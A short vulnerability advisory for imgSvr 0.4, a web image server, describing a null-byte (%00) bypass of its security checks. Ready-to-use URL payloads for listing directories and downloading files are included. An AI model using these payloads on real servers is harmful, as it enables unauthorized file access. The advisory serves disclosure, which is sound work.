Donato Ferrante
Application: imgSvr
http://adaimgsvr.sourceforge.net/
Version: 0.4
Bug: Index viewing
Author: Donato Ferrante
e-mail: fdonato_at_autistici.org
web: www.autistici.org/fdonato
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1. Description
2. The bug
3. The code
4. The fix
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1. Description:
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Vendor's description:
"ImgSvr is a Web image server, which allows users to browse digital
images. It is a full HTTP server, which is specifically designed for
image publishing."
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2. The bug:
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The program by default has some security checks that an attacker can
bypass, to:
[1] see the content of a web directory.
[2] see or download the files of a web directory.
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3. The code:
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To test the vulnerabilities:
[1]
To see the content of a directory:
http://[host]:1234/%00/
or:
http://[host]:1234/someDirectory/%00/
[2]
To see/download a file:
http://[host]:1234/someDirectory/someFile%00
NOTE: if the server will show a warning like:
ERROR Report
s-fileio.adb:955
Exception name: ADA.IO_EXCEPTIONS.DEVICE_ERROR Message:s-fileio.adb:955
send another time the request.
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4. The fix:
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Vendor was contacted.
Bug will be fixed in the next version.
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Received on Apr 01 2004
Intro
